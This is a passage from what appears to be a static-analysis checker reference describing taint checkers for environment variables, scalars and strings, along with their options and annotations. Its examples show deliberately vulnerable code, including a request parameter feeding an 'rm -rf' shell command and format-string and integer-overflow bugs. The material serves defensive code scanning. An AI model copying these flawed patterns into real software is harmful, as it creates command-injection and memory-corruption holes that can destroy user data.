- `taint_path_attr` - [Java only] A tainted value has been stored as a Web application attribute that has page, request, session, or application scope.
- `taint_path_call` - This method call returns a tainted value.
- `taint_path_field` - A tainted value has been assigned to a field.
- `taint_path_map_read` - A tainted value is read from a map.
- `taint_path_map_write` - A tainted value is written to a map.
- `taint_path_param` - A caller passes a tainted argument to this method parameter.
- `taint_path_return` - The current method returns a tainted value.
- `tainted_source` - The method from which a tainted value originates.

#### 4.300.5. Annotations and Attributes

User assertions about the non-taintedness of a field can be specified in one of two ways: Adding an annotation in the source code at the field definition (see Section 5.4.1.5, “Adding Assertions that Fields Are Tainted or Not Tainted” and Section 5.2.2, “Adding Annotations for C# or Visual Basic”) or by using the `cov-analyze --not-tainted-field` option. For examples that use these assertions, see Section 4.300.2, “Examples” for `TAINT_ASSERT`. For information about the command line option, see the *Coverity Command Reference*. [↗](#)

### 4.301. TAINTED\_ENVIRONMENT\_WITH\_EXECUTION

Security Checker

#### 4.301.1. Overview

**Supported Languages:** Go, Java, JavaScript

`TAINTED_ENVIRONMENT_WITH_EXECUTION` finds vulnerabilities that occur when uncontrolled dynamic data is used to set an environment variable when spawning a new process. This might allow an attacker to alter the behavior of the process or expose sensitive data. In extreme cases, it allows an attacker to execute arbitrary code.

**Enablement for Java and JavaScript**

**Disabled by default:** `Tainted_Environment_With_Execution` is disabled by default for Java and Javascript. To enable it, you can use the `--enable` option to the **cov-analyze** command.

**Enabled by default:** `Tainted_Environment_With_Execution` is enabled by default for Go.

**Web application security checker enablement:** To enable `Tainted_Environment_With_Execution` along with other Web application checkers, use the `--webapp-security` option.

This is a tainted data checker. For more information, see Section 6.8, “Tainted Data Overview”.

### 4.301.2. Defect Anatomy

`Tainted_Environment_With_Execution` defect shows a dataflow path by which untrusted (tainted) data is used to set an environment variable when spawning a new process. The path starts at a source of untrusted data, such as reading an HTTP request parameter in a server-side Web application in Java or Node.js. From there, the events in the defect show how this tainted data flows through the program and ends up being used when setting an environment variable.

### 4.301.3. Examples

This section provides one or more `Tainted_Environment_With_Execution` examples.

#### 4.301.3.1. Go

The following Go example shows how the tainted request parameter `username` is passed to the `USERNAME` environment variable. The value of the environment variable is used inside a file path, which allows an attacker to delete the contents of an arbitrary directory. A defect is shown for the `os.StartProcess` call.

```
package main

import (
 "os"
 "net/http"
)

func start(request *http.Request){
 username:= "USERNAME=" + request.FormValue("username")
 sysattr := &os.ProcAttr {
 Env: []string{username},
 }

 os.StartProcess("bash -c 'rm -rf /home/$USERNAME/*'", nil, sysattr) // Defect here
}
```

#### 4.301.3.2. Java

The following Java example shows how the tainted request parameter `"username"` is passed on to the `USERNAME` environment variable. The value of the environment variable is used inside a file path, which allows an attacker to delete the contents of an arbitrary directory.

```

import java.io.File;

import javax.servlet.http.HttpServletRequest;

public class TaintedEnvironmentWithExecution {

 HttpServletRequest req;

 public void cleanupUserHome() {
 Runtime runtime = Runtime.getRuntime();

 String username = req.getParameter("username");

 String[] envp = new String[1];
 envp[0] = "USERNAME=" + username;

 runtime.exec("bash -c 'rm -rf /home/$USERNAME/*'", envp); // defect here
 }
}

```

### 4.301.3.3. JavaScript

The following JavaScript example shows how the tainted request parameter "username" is passed on to the USERNAME environment variable:

```

const express = require("express");
const app = express();

app.get("/run",
 function run(req, res, next) {
 require("child_process").exec("bash -c 'rm -rf /home/$USERNAME'", {
 env : {
 USERNAME : req.query.username // defect here
 }
 },
 (error, stdout, stderr) => { });
 res.send("Done");
 });
app.listen(1337, function() {
 console.log("Express listening...");
});

```

### 4.301.4. Options

This section describes one or more TAIANTED\_ENVIRONMENT\_WITH\_EXECUTION options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- TAIANTED\_ENVIRONMENT\_WITH\_EXECUTION:distrust\_all:<boolean> - (Go and JavaScript only) Setting this option to true is equivalent to setting all trust\_\* checker options for this checker to false. Defaults to TAIANTED\_ENVIRONMENT\_WITH\_EXECUTION:distrust\_all:false .

This checker option is automatically set to `true` if the

`TAIANTED_ENVIRONMENT_WITH_EXECUTION:webapp-security-aggressiveness-level` option of the **cov-analyze** command is set to `high`.

- `TAIANTED_ENVIRONMENT_WITH_EXECUTION:trust_command_line:<boolean>` - [Go and JavaScript only] Setting this option to `false` causes the analysis to treat command line arguments as tainted. Defaults to `TAIANTED_ENVIRONMENT_WITH_EXECUTION:trust_command_line:true`. Setting this checker option will override the global `--trust-command-line` and `--distrust-command-line` command line options.
- `TAIANTED_ENVIRONMENT_WITH_EXECUTION:trust_console:<boolean>` - [Go and JavaScript only] Setting this option to `false` causes the analysis to treat data from the console as tainted. Defaults to `TAIANTED_ENVIRONMENT_WITH_EXECUTION:trust_console:true`. Setting this checker option will override the global `--trust-console` and `--distrust-console` command line options.
- `TAIANTED_ENVIRONMENT_WITH_EXECUTION:trust_cookie:<boolean>` - [Go and JavaScript only] Setting this option to `false` causes the analysis to treat data from HTTP cookies as tainted. Defaults to `TAIANTED_ENVIRONMENT_WITH_EXECUTION:trust_cookie:false`. Setting this checker option will override the global `--trust-cookie` and `--distrust-cookie` command line options.
- `TAIANTED_ENVIRONMENT_WITH_EXECUTION:trust_database:<boolean>` - [Go and JavaScript only] Setting this option to `false` causes the analysis to treat data from a database as tainted. Defaults to `TAIANTED_ENVIRONMENT_WITH_EXECUTION:trust_database:true`. Setting this checker option will override the global `--trust-database` and `--distrust-database` command line options.
- `TAIANTED_ENVIRONMENT_WITH_EXECUTION:trust_environment:<boolean>` - [Go and JavaScript only] Setting this option to `false` causes the analysis to treat data from environment variables as tainted. Defaults to `TAIANTED_ENVIRONMENT_WITH_EXECUTION:trust_environment:true`. Setting this checker option will override the global `--trust-environment` and `--distrust-environment` command line options.
- `TAIANTED_ENVIRONMENT_WITH_EXECUTION:trust_filesystem:<boolean>` - [Go and JavaScript only] Setting this option to `false` causes the analysis to treat data from the filesystem as tainted. Defaults to `TAIANTED_ENVIRONMENT_WITH_EXECUTION:trust_filesystem:true`. Setting this checker option will override the global `--trust-filesystem` and `--distrust-filesystem` command line options.
- `TAIANTED_ENVIRONMENT_WITH_EXECUTION:trust_http:<boolean>` - [Go and JavaScript only] Setting this option to `false` causes the analysis to treat data from HTTP requests as tainted. Defaults to `TAIANTED_ENVIRONMENT_WITH_EXECUTION:trust_http:false`. Setting this checker option will override the global `--trust-http` and `--distrust-http` command line options.
- `TAIANTED_ENVIRONMENT_WITH_EXECUTION:trust_http_header:<boolean>` - [Go and JavaScript only] Setting this option to `false` causes the analysis to treat data from HTTP headers as

tainted. Defaults to `TAINTED_ENVIRONMENT_WITH_EXECUTION:trust_http_header:false`. Setting this checker option will override the global `--trust-http-header` and `--distrust-http-header` command line options.

- `TAINTED_ENVIRONMENT_WITH_EXECUTION:trust_network:<boolean>` - [Go and JavaScript only] Setting this option to false causes the analysis to treat data from the network as tainted. Defaults to `TAINTED_ENVIRONMENT_WITH_EXECUTION:trust_network:false`. Setting this checker option will override the global `--trust-network` and `--distrust-network` command line options.
- `TAINTED_ENVIRONMENT_WITH_EXECUTION:trust_rpc:<boolean>` - [JGo and JavaScript only] Setting this option to false causes the analysis to treat data from RPC requests as tainted. Defaults to `TAINTED_ENVIRONMENT_WITH_EXECUTION:trust_rpc:false`. Setting this checker option will override the global `--trust-rpc` and `--distrust-rpc` command line options.
- `TAINTED_ENVIRONMENT_WITH_EXECUTION:trust_system_properties:<boolean>` - [Go and JavaScript only] Setting this option to false causes the analysis to treat data from system properties as tainted. Defaults to `TAINTED_ENVIRONMENT_WITH_EXECUTION:trust_system_properties:true`. Setting this checker option will override the global `--trust-system-properties` and `--distrust-system-properties` command line options.

## 4.302. TAINTED\_SCALAR

### 4.302.1. Overview

**Supported Languages:** C, C++, Objective-C, Objective-C++

`TAINTED_SCALAR` finds many instances where scalars (for example, integers) are not properly bounds-checked (*sanitized*) before being used as array or pointer indexes, loop boundaries, or function arguments. Scalars that are not sanitized are considered *tainted*. Missing or inadequate scalar validation can cause buffer overflows, integer overflows, denials of service, memory corruption, and security vulnerabilities.

Signed scalars must be upper- and lower-bounds checked. Unsigned integers need only an upper-bounds check. You can also sanitize scalars with an equality check since this effectively bounds the value to a single number.

To enable taint to flow downwards from C and C++ unions to their component fields, you can set the `--inherit-taint-from-unions` option to the `cov-analyze`  command.

**Disabled by default:** `TAINTED_SCALAR` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

**Security checker enablement:** To enable `TAINTED_SCALAR` along with other security checkers, use the `--security` option with the `cov-analyze` command.

This is a tainted data checker. For more information, see Section 6.8, “Tainted Data Overview”.

### 4.302.2. Defect Anatomy

A `TAINTED_SCALAR` defect shows a dataflow path by which untrusted (tainted) data is used in an unsafe manner, for instance, as a pointer offset. The dataflow path starts at a source of untrusted data, such as getting input from an HTTP request. From there, the events in the defect show how this tainted data flows through the program: for example, from the argument of a function call to the parameter of the called function. The final part of the path shows the tainted scalar used in a risky operation (a taint sink).

### 4.302.3. Examples

This section provides one or more `TAINTED_SCALAR` examples.

In the following example, the tainted integer `nresp`, read from a packet, is only lower-bounds checked and not upper-bounds checked. This is a defect because a tainted expression: `(nresp * sizeof(char *))`: is being passed to `xmalloc()`. This expression can cause an integer overflow, which can result in a buffer overflow, denial of service, memory corruption, or other security vulnerability.

To find this defect, the `TAINTED_SCALAR` checker is combined with a model for `packet_get_int`. See Section 4.302.6, “Models and annotations”.

```
void tainted_scalar_example() {
 int nresp = packet_get_int();
 if (nresp > 0) {

 response = xmalloc(nresp * sizeof(char *));
 for (i = 0; i < nresp; i++) { // tainted scalar controls loop
 response[i] = packet_get_string(NULL); // heap corruption
 }
 }
}
```

### 4.302.4. Possible Solutions

Properly sanitize the tainted variable before use. For example, the following is *not* a defect because `nresp`'s lower and upper bounds are checked before any dangerous uses.

```
#define MAX_NRESP 256
...
void tainted_scalar_example() {
 int nresp = packet_get_int();

 if (nresp > 0 && nresp < MAX_NRESP) {

 response = xmalloc(nresp * sizeof(char *));
 for (i = 0; i < nresp; i++) {
 response[i] = packet_get_string(NULL);
 }
 }
}
```

### 4.302.5. Options

This section describes one or more `TAINTED_SCALAR` options.

You can set specific checker option values by passing them with `--checker-option` to the `cov-analyze` command. For details, refer to the *Coverity Command Reference*.

- `TAINTED_SCALAR:tainting_byteswaps:<boolean>` - If this option is set to true, the checker will treat buffers used to load integers one byte at a time as defects. Defaults to `TAINTED_SCALAR:tainting_byteswaps:false`

This checker option is automatically set to `true` if the `--aggressiveness-level` option of the `cov-analyze` command is set to `medium` (or to `high`).

Example:

```
char *p;
void xxx() {
 int array[10];
 // Assume that 'p' is tainted because of the following:
 unsigned x = ((unsigned) p[0] << 8) | (unsigned) p[1];
 array[x] = 0; // BUG
}
```

- `TAINTED_SCALAR:tainting_downcasts:<boolean>` - If this option is set to true, the checker will treat casts from raw data (like `char *` or `void*` type), to certain `struct` types (for example, those that look like network packets), as a source of tainted data. Defaults to `TAINTED_SCALAR:tainting_downcasts:true`

In the following example, a defect is shown for the `array` assignment statement.

```
struct network_packet_header {
 u8 a, b, c, d, e, f, g, h;
 u16 i, j;
 u32 k, l;
 u64 m;
};

struct intermediate {
 void *raw;
};

void example(struct intermediate *s)
{
 struct network_packet_header *tainted = (struct network_packet_header *)s->raw;
 array[tainted->a] = 0; // DEFECT
}
```

- `TAINTED_SCALAR:track_general_dataflow:<boolean>` - If this option is set to true, the checker will enable a *preview* mode that extends the kinds of constructs that the checker handles. Defaults to `TAINTED_SCALAR:track_general_dataflow:false`

The following example allows the checker to track global variables:

```
int global;
int getGlobal() {
 return global;
}
void taintGlobal(int fd) {
 read(fd, &global, sizeof(global));
}
void test(int fd) {
 int array[10];
 taintGlobal(fd);
 array[getGlobal()] = 0; // defect reported
}
```



#### About this option:

This option might cause the runtime to increase dramatically. In addition, the checker might report duplicate defect instances in Coverity Connect (that is, software issues with the same CID) in cases where the new mode overlaps with the old (for example, defects that only involve local variables).

Use of this option could yield more false positives than normal from this checker. Also, changes to this feature in the next release could change the number of issues found. You can provide feedback to [software-integrity-support@synopsys.com](mailto:software-integrity-support@synopsys.com) on the accuracy and value of this option.

- `TAINTED_SCALAR:trust_command_line:<boolean>` - [All] Setting this option to `false` causes the analysis to treat command line arguments as tainted. Defaults to `TAINTED_SCALAR:trust_command_line:false`. Setting this checker option will override the global `--trust-command-line` and `--distrust-command-line` **cov-analyze** command line options.
- `TAINTED_SCALAR:trust_console:<boolean>` - [All] Setting this option to `false` causes the analysis to treat data from the console as tainted. Defaults to `TAINTED_SCALAR:trust_console:false`. Setting this checker option will override the global `--trust-console` and `--distrust-console` **cov-analyze** command line options.
- `TAINTED_SCALAR:trust_cookie:<boolean>` - [All] Setting this option to `false` causes the analysis to treat data from HTTP cookies as tainted. Defaults to `TAINTED_SCALAR:trust_cookie:false`. Setting this checker option will override the global `--trust-cookie` and `--distrust-cookie` **cov-analyze** command line options.
- `TAINTED_SCALAR:trust_database:<boolean>` - [All] Setting this option to `false` causes the analysis to treat data from a database as tainted. Defaults to `TAINTED_SCALAR:trust_database:false`. Setting this checker option will override the global `--trust-database` and `--distrust-database` **cov-analyze** command line options.
- `TAINTED_SCALAR:trust_environment:<boolean>` - [All] Setting this option to `false` causes the analysis to treat data from environment variables as tainted. Defaults to

`TAINTED_SCALAR:trust_environment:false` . Setting this checker option will override the global `--trust-environment` and `--distrust-environment` **cov-analyze** command line options.

- `TAINTED_SCALAR:trust_filesystem:<boolean>` - [All] Setting this option to `false` causes the analysis to treat data from the filesystem as tainted. Defaults to `TAINTED_SCALAR:trust_filesystem:false` . Setting this checker option will override the global `--trust-filesystem` and `--distrust-filesystem` **cov-analyze** command line options.
- `TAINTED_SCALAR:trust_http:<boolean>` - [All] Setting this option to `false` causes the analysis to treat data from HTTP requests as tainted. Defaults to `TAINTED_SCALAR:trust_http:false` . Setting this checker option will override the global `--trust-http` and `--distrust-http` **cov-analyze** command line options.
- `TAINTED_SCALAR:trust_http_header:<boolean>` - [All] Setting this option to `false` causes the analysis to treat data from HTTP headers as tainted. Defaults to `TAINTED_SCALAR:trust_http_header:false` . Setting this checker option will override the global `--trust-http-header` and `--distrust-http-header` **cov-analyze** command line options.
- `TAINTED_SCALAR:trust_network:<boolean>` - [All] Setting this option to `false` causes the analysis to treat data from the network as tainted. Defaults to `TAINTED_SCALAR:trust_network:false` . Setting this checker option will override the global `--trust-network` and `--distrust-network` **cov-analyze** command line options.
- `TAINTED_SCALAR:trust_rpc:<boolean>` - [All] Setting this option to `false` causes the analysis to treat data from RPC requests as tainted. Defaults to `TAINTED_SCALAR:trust_rpc:false` . Setting this checker option will override the global `--trust-rpc` and `--distrust-rpc` **cov-analyze** command line options.
- `TAINTED_SCALAR:trust_system_properties:<boolean>` - [All] Setting this option to `false` causes the analysis to treat data from system properties as tainted. Defaults to `TAINTED_SCALAR:trust_system_properties:false` . Setting this checker option will override the global `--trust-system-properties` and `--distrust-system-properties` **cov-analyze** command line options.

#### 4.302.6. Models and annotations

You can create custom user models to indicate security-specific information about certain functions.

This model indicates that `packet_get_int()` returns tainted data from the network and should be tracked as such:

```
unsigned int packet_get_int() {
 unsigned int ret;
 __coverity_mark_pointee_as_tainted__(&ret, TAINT_TYPE_NETWORK);
 return ret;
}
```

This model indicates `custom_read()` taints its argument `buf` and that the source of the tainted data is the filesystem. The POSIX `read` interface is modeled with a similar stub function:

```
void custom_read(int fd, void *buf) {
 __coverity_mark_pointee_as_tainted__(buf, TAINT_TYPE_FILESYSTEM);
}
```

This model indicates `custom_write()` is a taint sink (of type `ALLOCATION`) for argument `count`. The POSIX `write` interface is modeled with a similar stub function:

```
void *custom_alloc(unsigned int size) {
 __coverity_taint_sink__(&size, ALLOCATION);
}
```



### Note

The `malloc` function in the C standard library is modeled with a similar stub.

The following sink types are also relevant for this checker: `TAINTED_SCALAR_GENERIC`, `LOOP_BOUND_LOWER`, `LOOP_BOUND_UPPER`, `OVERRUN`, `DIVISOR`.

This model indicates that `custom_copy()` will transitively taint argument `dest` based on the tainted state of argument `src` (and only if `n != 0`). The standard C interface `memcpy` is modeled with a similar stub function:

```
void *custom_copy(void *dest, void *src, size_t n) {
 if (n != 0) {
 __coverity_tainted_data_transitive__(dest, src);
 }
 return dest;
}
```

The next model indicates that `custom_sprintf()` will transitively taint argument 0 if any argument from 2 onward is tainted. The standard C interface `sprintf` is modeled with a similar stub function:

```
void custom_sprintf(char *str, const char *format, ...) {
 __coverity_tainted_data_transitive_vararg_inbound__(0,2);
}
```

This model indicates that `custom_sscanf()` will transitively taint arguments 2 and onward if argument 0 is tainted:

```
void custom_sscanf(const char *str, const char *format, ...) {
 __coverity_tainted_data_transitive_vararg_outbound__(2, 0);
}
```

This model indicates that `get_int()` returns tainted data if `b` is tainted:

```
int get_int(struct buffer *b) { // get_int pulls an integer out of some buffer
 int r;
 __coverity_tainted_data_transitive__(r, b->x);
 return r;
}
```

The next model indicates that `custom_sanitize()` returns true if the `i` argument is valid (and thus should no longer be considered tainted). If the `i` argument is not valid, `custom_sanitize()` returns false and the analysis continues to track `i` as tainted:

```
bool custom_sanitize(const char *s) {
 bool ok_string;
 if (ok_string == true) {
 __coverity_mark_pointee_as_sanitized__(s, TAINTED_SCALAR_GENERIC);
 return true;
 }
 return false;
}
```

Besides library models, you can also use the following function annotation tags in source code comments that immediately precede the targeted function:

- `+taint_sanitize`: specifies that a function sanitizes a string argument. For example, the following specifies that `custom_sanitize()` sanitizes its `s` string argument:

```
// coverity[+taint_sanitize : arg-0]
void custom_sanitize(int i) {...}
```

- `+taint_source` (without an argument): Specifies that the function returns tainted data.

For example, the following code specifies that the `packet_get_int()` function returns a tainted value:

```
// coverity[+taint_source]
unsigned int packet_get_int() {...}
```

- `+taint_source` (with an argument): Specifies that the function taints the specified argument. For example, the following code specifies that the `custom_read()` function taints its `buf` argument:

```
// coverity[+taint_source : arg-1]
void custom_read(int fd, void *buf) {...}
```



### Note

The `tainted_data_return`, `tainted_data_argument`, `tainted_string_return_content`, and `tainted_string_argument` function annotations have been deprecated. Use `taint_source` instead.

The `taint_source` function annotation operates in conjunction with these checkers: `FORMAT_STRING_INJECTION`, `HEADER_INJECTION`, `OS_CMD_INJECTION`, `PATH_MANIPULATION`, `SQLI`, `TAINTED_SCALAR`, `TAINTED_STRING`, `URL_MANIPULATION`, and `XPATH_INJECTION`.

- `+tainted_data_sink`: Specifies that a function requires a sanitized argument. For example, the following code specifies that the `custom_write()` function requires a sanitized `buf` argument:

```
// coverity[+tainted_data_sink : arg-1]
void custom_write(int fd, const void *buf, size_t count) {...}
```

Coverity Analysis will consider only scalars that are tainted when they come from a known tainted source. You can create a model without Coverity Analysis primitives to override inferred models. You can suppress single false positives using the `//coverity` annotations.

The `TAINTED_SCALAR` checker can infer three different types of incorrect interprocedural information:

- A value returned from a function is tainted.
- A function taints an argument.
- A potentially tainted value is used in a called function in a dangerous way.

For example, suppose Coverity Analysis incorrectly analyzes the function `return_cleansed_scalar()` and assumes it can return a tainted scalar when, in fact, the return value is safe. To eliminate this false positive, you can add the following model to the library:

```
int return_cleansed_scalar() {
 int ret;
 return ret;
}
```

This model indicates that the returned value is not to be considered tainted.

Function annotations can be expressed in comments immediately preceding the functions they effect. You can use function annotations to ignore function models with the following tags:

- `-taint_sanitize`: Specifies that a function does not sanitize a string argument. For example, the following specifies that `custom_sanitize()` does not sanitize its `s` string argument:

```
// coverity[-taint_sanitize : arg-0]
void custom_sanitize(int i) {...}
```

- `-taint_source` (without an argument): Specifies that the function does not return tainted data. For example, the following code specifies that the `packet_get_int()` function does not return a tainted value:

```
// coverity[-taint_source]
unsigned int packet_get_int() {...}
```

- `-taint_source` (with an argument): Specifies that the function does not taint the specified argument. For example, the following code specifies that the `custom_read()` function does not taint its `buf` argument:

```
// coverity[-taint_source : arg-1]
void custom_read(int fd, void *buf) {...}
```

**Note**

The `tainted_data_return`, `tainted_data_argument`, `tainted_string_return_content`, and `tainted_string_argument` function annotations have been deprecated. Use `taint_source` instead.

The `taint_source` function annotation operates in conjunction with these checkers: `OS_CMD_INJECTION`, `PATH_MANIPULATION`, `SQLI`, `TAINTED_SCALAR`, `TAINTED_STRING`, `URL_MANIPULATION`, and `XPATH_INJECTION`.

- `-tainted_data_sink`: Specifies that a function does not require a sanitized argument. For example, the following code specifies that the `custom_write()` function does not require that its `buf` argument is sanitized:

```
// coverity[-tainted_data_sink : arg-1]
void custom_write(int fd, const void *buf, size_t count) {...}
```

## 4.303. TAINTED\_STRING

Quality, Security Checker

### 4.303.1. Overview

**Supported Languages:** C, C++, Objective-C, Objective-C++

`TAINTED_STRING` finds many cases where a string flows from an untrusted (tainted) source, past any validation/sanitization routines that might otherwise catch dangerous content, to a sink that trusts its input, such as an interpreter. Strings that have not been properly validated (*sanitized*) are considered *tainted*. Improperly trusting tainted strings can cause unsafe resource reading or writing, access control violations, environment corruption, cross-site scripting, file corruption, format string vulnerabilities, and other string-related security flaws

Because an array of characters must be validated, as opposed to bounds checking a single value, string sanitization is inherently more difficult than scalar cleansing. Doing so, therefore, usually means passing the string to a sanitizing function before using it in a trusted sink.

To fix tainted string defects, you can use a programmer-defined format-string, such as `syslog(LOG_WARNING, "%s", error_msg)`. Or, you can check for format specifiers before passing to `syslog()` code. In general, you should run tainted strings through a sanitizing routine before using in a potentially unsafe way.

**Disabled by default:** `TAINTED_STRING` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

**Security checker enablement:** To enable `TAINTED_STRING` along with other security checkers, use the `--security` option with the `cov-analyze` command.

This is a tainted data checker. For more information, see Section 6.8, “Tainted Data Overview”.

### 4.303.2. Defect Anatomy

A `TAINTED_STRING` defect shows a dataflow path by which untrusted (tainted) data is used in an unsafe manner. The dataflow path starts at a source of untrusted data, such as getting input from an HTTP request. From there, the events in the defect show how this tainted data flows through the program, for example, from the argument of a function call to the parameter of the called function. The final part of the path shows the tainted string used in a risky operation (a taint sink).

### 4.303.3. Examples

This section provides one or more `TAINTED_STRING` examples.

The following is a defect because the tainted string `request`, read from a packet, fails validation as a legal request, yet is used to form an error message that is passed to `syslog()`. If the request includes format specifiers, it is possible to overwrite stack memory and execute arbitrary code.

```
void tainted_string_example() {
 char *request = packet_get_string();
 if (!legal_request(request)) {
 sprintf(error_msg, "Illegal request: %s", request); /* sprintf()
 transitively taints error_msg */
 ...
 syslog(LOG_WARNING, error_msg);
 }
}
```

### 4.303.4. Options

This section describes one or more `TAINTED_STRING` options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- `TAINTED_STRING:paranoid_format:<boolean>` - Format string injection vulnerabilities are henceforth reported by the `FORMAT_STRING_INJECTION` checker. The `paranoid_format` option is exposed by that checker under the name `paranoid`.
- `TAINTED_STRING:trust_command_line:<boolean>` - [All] Setting this option to `false` causes the analysis to treat command line arguments as tainted. Defaults to `TAINTED_STRING:trust_command_line:false`. Setting this checker option will override the global `--trust-command-line` and `--distrust-command-line` **cov-analyze** command line options.
- `TAINTED_STRING:trust_console:<boolean>` - [All] Setting this option to `false` causes the analysis to treat data from the console as tainted. Defaults to `TAINTED_STRING:trust_console:false`. Setting this checker option will override the global `--trust-console` and `--distrust-console` **cov-analyze** command line options.
- `TAINTED_STRING:trust_cookie:<boolean>` - [All] Setting this option to `false` causes the analysis to treat data from HTTP cookies as tainted. Defaults to

`TAINTED_STRING:trust_cookie:false` . Setting this checker option will override the global `--trust-cookie` and `--distrust-cookie` **cov-analyze** command line options.

- `TAINTED_STRING:trust_database:<boolean>` - [All] Setting this option to `false` causes the analysis to treat data from a database as tainted. Defaults to `TAINTED_STRING:trust_database:false` . Setting this checker option will override the global `--trust-database` and `--distrust-database` **cov-analyze** command line options.
- `TAINTED_STRING:trust_environment:<boolean>` - [All] Setting this option to `false` causes the analysis to treat data from environment variables as tainted. Defaults to `TAINTED_STRING:trust_environment:false` . Setting this checker option will override the global `--trust-environment` and `--distrust-environment` **cov-analyze** command line options.
- `TAINTED_STRING:trust_filesystem:<boolean>` - [All] Setting this option to `false` causes the analysis to treat data from the filesystem as tainted. Defaults to `TAINTED_STRING:trust_filesystem:false` . Setting this checker option will override the global `--trust-filesystem` and `--distrust-filesystem` **cov-analyze** command line options.
- `TAINTED_STRING:trust_http:<boolean>` - [All] Setting this option to `false` causes the analysis to treat data from HTTP requests as tainted. Defaults to `TAINTED_STRING:trust_http:false` . Setting this checker option will override the global `--trust-http` and `--distrust-http` **cov-analyze** command line options.
- `TAINTED_STRING:trust_http_header:<boolean>` - [All] Setting this option to `false` causes the analysis to treat data from HTTP headers as tainted. Defaults to `TAINTED_STRING:trust_http_header:false` . Setting this checker option will override the global `--trust-http-header` and `--distrust-http-header` **cov-analyze** command line options.
- `TAINTED_STRING:trust_network:<boolean>` - [All] Setting this option to `false` causes the analysis to treat data from the network as tainted. Defaults to `TAINTED_STRING:trust_network:false` . Setting this checker option will override the global `--trust-network` and `--distrust-network` **cov-analyze** command line options.
- `TAINTED_STRING:trust_rpc:<boolean>` - [All] Setting this option to `false` causes the analysis to treat data from RPC requests as tainted. Defaults to `TAINTED_STRING:trust_rpc:false` . Setting this checker option will override the global `--trust-rpc` and `--distrust-rpc` **cov-analyze** command line options.
- `TAINTED_STRING:trust_system_properties:<boolean>` - [All] Setting this option to `false` causes the analysis to treat data from system properties as tainted. Defaults to `TAINTED_STRING:trust_system_properties:false` . Setting this checker option will override the global `--trust-system-properties` and `--distrust-system-properties` **cov-analyze** command line options.

#### 4.303.5. Models and Annotations

With **cov-make-library**, you can use the following Coverity Analysis primitives to create custom models for `TAINTED_STRING`.

The following model indicates that `packet_get_string()` returns a tainted string from the network.

```
void *packet_get_string() {
 void *ret;
 __coverity_mark_pointee_as_tainted__(ret, TAIN_TYPE_NETWORK);
 return ret;
}
```

The following model indicates that `custom_string_read()` taints its argument `s` and that the source of the tainted data is the filesystem.

```
char *custom_string_read(char *s, int size, FILE *stream) {
 __coverity_mark_pointee_as_tainted__(s, TAIN_TYPE_FILESYSTEM);
 return s;
}
```

The following model indicates that `s` will be sanitized when `custom_sanitizе()` returns `true` but will not be cleansed if the function returns `false`.

```
bool custom_sanitizе(const char *s) {
 bool ok_string;
 if (ok_string == true) {
 __coverity_mark_pointee_as_sanitized__(s, GENERIC);
 return true;
 }
 return false;
}
```

The following model indicates that `custom_putenv()` is a taint sink (of type `ENVIRONMENT`) with respect to its argument `string`. The standard C interface `putenv` is modeled with a similar stub function:

```
void custom_putenv(char *string)
{ __coverity_taint_sink__(string, ENVIRONMENT); }
```

The following sink types are also relevant to this checker: `GENERIC`, `ENVIRONMENT`, `REGISTRY`.

Instead of library models, you can use the following function annotation tags in source code comments that immediately precede the targeted function:

- `+taint_sanitizе`: specifies that a function sanitizes a string argument. For example, the following specifies that `custom_sanitizе()` sanitizes its `s` string argument:

```
// coverity[+taint_sanitizе : arg-*0]
void custom_sanitizе(char* s) {...}
```

- `+taint_source` (without an argument): Specifies that the function returns tainted string data. For example, the following code specifies that `packet_get_string()` returns a tainted string value:

```
// coverity[+taint_source]
char* packet_get_string() {...}
```

- `+taint_source` (with an argument): Specifies that the function taints the contents of the specified string argument. For example, the following specifies that `custom_string_read()` taints the contents of its `s` argument:

```
// coverity[+taint_source : arg-0]
void custom_string_read(char* s, int size, FILE* stream) {...}
```



### Note

The `tainted_data_return`, `tainted_data_argument`, `tainted_string_return_content`, and `tainted_string_argument` function annotations have been deprecated. Use `taint_source` instead.

The `taint_source` function annotation operates in conjunction with these checkers: `FORMAT_STRING_INJECTION`, `HEADER_INJECTION`, `OS_CMD_INJECTION`, `PATH_MANIPULATION`, `SQ_LI`, `TAINTED_SCALAR`, `TAINTED_STRING`, `URL_MANIPULATION`, and `XPATH_INJECTION`.

- `+tainted_string_sink_content`: Specifies that a function requires a sanitized string argument. For example, the following specifies that `custom_string_read()` requires a sanitized `s` argument:

```
// coverity[+tainted_string_sink_content : arg-0]
void custom_string_read(char* s, int size, FILE* stream) {...}
```

You can also annotate certain `struct` fields to flag that they contain tainted data. To annotate a field, use a comment that starts with `// coverity[+ or /* coverity[+`, followed by the word `tainted`, then optionally followed by `:*` if pointing to tainted data, then `]`. For example:

```
struct X {
 // coverity[+tainted]
 int tainted_field; // Contains tainted data
 // coverity[+tainted: *]
 int * tainted_target_field; // Points to tainted data
};
```

This annotation does not work for aggregate types, structs or unions.

The `TAINTED_STRING` analysis uses several types of interprocedural information. Just as with `TAINTED_SCALAR`, Coverity Analysis will not infer taintedness on its own. Therefore, strings are only considered tainted when coming from a known tainted source. Thus, creating a model without Coverity Analysis primitives is the easiest way to override inferred models. You can suppress single defects using `//coverity` annotations.

`TAINTED_STRING` can infer four different types of incorrect interprocedural information:

- A string returned from a function is tainted.
- A function taints an argument.
- A function successfully sanitizes a tainted string.
- A potentially tainted string is used in a called function in a dangerous way.

For example, suppose Coverity Analysis incorrectly analyzes `get_string(string &s)` and assumes that it taints an argument when, in fact, it does not. You can add the following model to the library to eliminate this false positive:

```
size_t get_string(string &s) {
 size_t size_s;
 return size_s;
}
```

The model indicates that the argument `s` is not to be considered tainted.

You can use the following function annotation tags to ignore function models:

- `-taint_sanitize`: Specifies that a function does not sanitize a string argument. For example, the following specifies that `custom_sanitize()` does not sanitize its `s` string argument:

```
// coverity[-taint_sanitize : arg-*0]
void custom_sanitize(char* s) {...}
```

- `-taint_source` (without an argument): Specifies that the function does not return tainted string data. For example, the following specifies that `packet_get_string()` does not return a tainted string value:

```
// coverity[-taint_source]
char* packet_get_string() {...}
```

- `-taint_source` (with an argument): Specifies that the function does not taint the contents of the specified string argument. For example, the following specifies that `custom_string_read()` does not taint the contents of its `s` argument:

```
// coverity[-taint_source : arg-0]
